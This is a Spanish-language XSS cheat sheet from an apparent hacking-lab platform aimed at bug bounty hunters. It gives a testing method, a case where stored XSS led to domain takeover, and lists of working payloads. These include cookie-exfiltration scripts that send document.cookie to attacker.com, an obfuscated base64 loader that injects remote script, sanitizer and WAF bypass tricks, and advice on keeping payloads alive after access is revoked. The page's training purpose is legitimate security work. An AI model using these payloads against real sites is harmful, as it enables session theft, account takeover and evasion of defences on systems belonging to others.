Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cross-Site Scripting (XSS)
Inyección de código en el navegador de la víctima
Respuesta rápida
¿Qué es Cross-Site Scripting?
El XSS permite inyectar scripts maliciosos en páginas web que otros usuarios visitan. Es una de las vulnerabilidades más comunes y puede llevar a robo de sesiones, defacement, phishing o ejecución de acciones como la víctima.
Severidad
Alto
Frecuencia
Muy común
Payloads
12
Pasos
6
Severidad
Alto
Frecuencia
Muy común
Payloads
12
Existe XSS cuando el input del usuario se refleja en el HTML de la página sin sanitizar correctamente. Puede ser Reflected (en la URL), Stored (guardado en BD) o DOM-based (manipulación del DOM en el cliente). El impacto varía desde robo de cookies hasta account takeover completo.
Dónde buscar
Campos de texto reflejados
Nombres, bios, descripciones — cualquier input que aparezca en la página. Prueba con un canary: aaaaaa<>"' para ver qué se escapa.
Parámetros de URL
Parámetros de búsqueda, redirección, mensajes de error. Si el valor aparece en el HTML de respuesta, es un vector potencial.
Formularios de contacto (Blind XSS)
El admin verá tu payload cuando revise el mensaje. Usa XSS Hunter o similar para detectar ejecución diferida.
Subida de archivos SVG
Los SVGs son XML y pueden contener JavaScript. Muchos filtros los permiten porque son 'imágenes'.
Rich text editors
Editores WYSIWYG que permiten HTML. Prueba a inyectar tags no estándar o atributos de evento.
Objetos JavaScript globales
Busca window.__NEXT_DATA__, window.CONFIG, window.__INITIAL_STATE__ — pueden contener datos sin sanitizar.
Metodología
Identificar puntos de reflexión
Inyecta un canary único (ej: bb1337test) en cada campo y busca dónde aparece en el HTML de respuesta.
Analizar el contexto
¿Estás dentro de un tag HTML, un atributo, un bloque <script>, o CSS? Cada contexto requiere payloads diferentes.
Probar escapes
Envía caracteres especiales: < > " ' / y observa cuáles se escapan y cuáles no.
Adaptar el payload
Si estás en un atributo: "> para cerrar. En un script: '; para romper la string. En HTML: directamente <script> o event handlers.
Verificar ejecución
No basta con ver el payload en el código — confirma que se ejecuta (alert, console.log, o fetch a tu servidor).
Escalar el impacto
De alert() pasa a: exfiltrar document.cookie, inyectar formulario de phishing, o ejecutar acciones con el CSRF token de la víctima.
Caso real
Stored XSS en campo de nombre de template → Domain Takeover
Acceso delegado
El atacante tiene acceso a la plataforma como contractor con permisos limitados (acceso delegado por la víctima).
Inyección en campo 'inocente'
Inyecta <img src=x onerror=...> en el campo 'nombre de template' — un campo que nadie audita porque parece descriptivo.
Persistencia en BD
El payload se guarda en la base de datos. Incluso si se revoca el acceso del atacante, el payload persiste.
Ejecución en contexto de la víctima
Cuando la víctima duplica o visualiza el template, el script se ejecuta con su sesión autenticada.
Escalada a Domain Takeover
El script modifica los registros DNS de la víctima, redirigiendo su dominio al servidor del atacante.
Lección: Los campos 'descriptivos' (nombres, títulos, labels) son vectores frecuentes porque los desarrolladores no esperan HTML ahí. La persistencia del payload después de revocar acceso es un factor de riesgo adicional.
Payloads
Básico — img onerror
<img src=x onerror=alert(1)>
Cerrar atributo + SVG
"><svg onload=alert(1)>
Event handler — details
<details open ontoggle=alert(1)>
JavaScript URI
javascript:alert(document.domain)
Dentro de string JS
'-alert(1)-'
Animate — sin interacción
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
Payloads avanzados(requiere cuenta)
Blind XSS con exfiltración
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzaHVudGVyLnlvdXIuaWQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
Polyglot XSS
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
SVG file upload
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/'+document.cookie)">math + mglyph bypass
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
Cookie exfiltration
<script>fetch("https://attacker.com/log?c="+document.cookie)</script>Rich text editor bypass
<</p>iframe src=javascript:alert()//>
Contenido exclusivo
Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass
Crear cuenta gratisHerramientas
XSS Hunter
Plataforma para detectar Blind XSS. Genera payloads que te notifican cuando se ejecutan.
https://xsshunter.trufflesecurity.com/
Dalfox
Scanner automático de XSS con soporte para blind XSS y bypass de filtros.
dalfox url 'https://target.com/search?q=FUZZ' --blind https://your.xsshunter.id
CSP Evaluator
Analiza la Content Security Policy de un sitio para encontrar debilidades.
https://csp-evaluator.withgoogle.com/
WAF Bypass
Oversized body (Cloudflare Free ~8KB)
padding=AAAA[8000+ bytes]&vuln=<script>alert(1)</script>
Header stuffing (>94 headers)
X-Dummy-1: a\nX-Dummy-2: a\n[...92 más...]\nX-Real-Payload: <script>alert(1)</script>
Doble boundary en multipart
Content-Type: multipart/form-data; boundary=----Safe; boundary=EVIL\n------EVIL\nContent-Disposition: form-data; name="vuln"\n<script>alert(1)</script>
Charset encoding (EBCDIC)
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Tips
Prueba en TODOS los campos
Incluso campos como 'nombre de empresa' o 'dirección' pueden ser vulnerables si se reflejan sin sanitizar.
Blind XSS en formularios de contacto
El admin verá tu payload cuando revise el mensaje. Los paneles de admin suelen tener menos sanitización.
CSP no es invencible
Busca endpoints JSONP del mismo dominio, o data: URIs si 'unsafe-inline' está permitido.
Persistencia post-revocación
Si inyectas XSS vía acceso delegado, verifica que el payload persiste incluso después de que revoquen tu acceso.
PDF generation = XSS server-side
Los generadores de PDF (wkhtmltopdf, Puppeteer) ejecutan HTML/JS — son vectores de SSRF vía XSS.
Contenido relacionado
Practica Cross-Site Scripting con labs reales
Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.